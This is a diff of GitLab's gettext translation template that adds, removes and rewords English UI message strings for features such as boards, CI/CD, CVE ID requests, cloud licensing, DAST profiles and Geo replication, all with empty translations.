@@ -4498,6 +4612,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4516,6 +4633,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4540,7 +4660,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4673,6 +4793,9 @@ msgstr[0] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4703,6 +4826,10 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4712,9 +4839,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4733,6 +4857,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4742,6 +4869,10 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4754,6 +4885,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4784,6 +4924,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5090,15 +5233,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5117,6 +5251,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5205,6 +5345,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5301,6 +5462,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5421,6 +5585,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5448,6 +5615,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5457,12 +5627,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6105,6 +6281,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6138,6 +6317,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6171,9 +6392,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6192,12 +6410,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6747,6 +6974,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7453,6 +7683,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7516,6 +7749,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7801,6 +8037,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7827,9 +8066,6 @@ msgid "ContainerRegistry|%{count} Tag"
msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -7914,6 +8150,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -7932,6 +8171,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -7996,6 +8238,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8218,6 +8463,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8263,9 +8511,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8323,9 +8568,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8380,12 +8634,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8419,6 +8682,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8428,16 +8694,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8582,9 +8847,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8606,6 +8868,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8759,6 +9024,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8822,6 +9090,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9123,8 +9394,9 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9219,6 +9491,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9288,6 +9563,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9348,6 +9629,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9381,6 +9665,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9411,12 +9698,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9493,6 +9792,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9523,6 +9825,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -9934,13 +10239,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10051,9 +10362,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10081,9 +10389,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10196,9 +10501,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10358,13 +10660,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10379,7 +10681,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10632,6 +10934,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10875,6 +11180,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -10887,6 +11195,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11106,6 +11417,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11130,6 +11444,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11142,6 +11459,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11154,6 +11474,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11265,6 +11588,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11334,9 +11660,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -11964,19 +12287,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -11985,7 +12308,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12096,9 +12419,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12165,6 +12485,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12234,6 +12557,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12246,12 +12572,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12279,9 +12599,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12303,13 +12620,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12408,6 +12728,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12435,9 +12758,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12486,9 +12815,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12543,9 +12869,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -12928,10 +13251,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -12964,7 +13287,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13066,6 +13389,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13114,12 +13440,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13129,9 +13458,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13156,6 +13482,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13165,6 +13494,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13180,6 +13512,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13198,9 +13533,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13462,6 +13794,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13504,9 +13839,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13531,6 +13872,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13564,6 +13914,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13591,6 +13947,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13603,6 +13962,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13630,6 +14013,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13642,6 +14028,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13675,6 +14064,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13720,6 +14112,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13849,6 +14244,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -13972,6 +14373,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14014,9 +14433,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14146,16 +14562,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14167,6 +14580,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14224,6 +14640,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14305,9 +14727,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14410,9 +14829,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
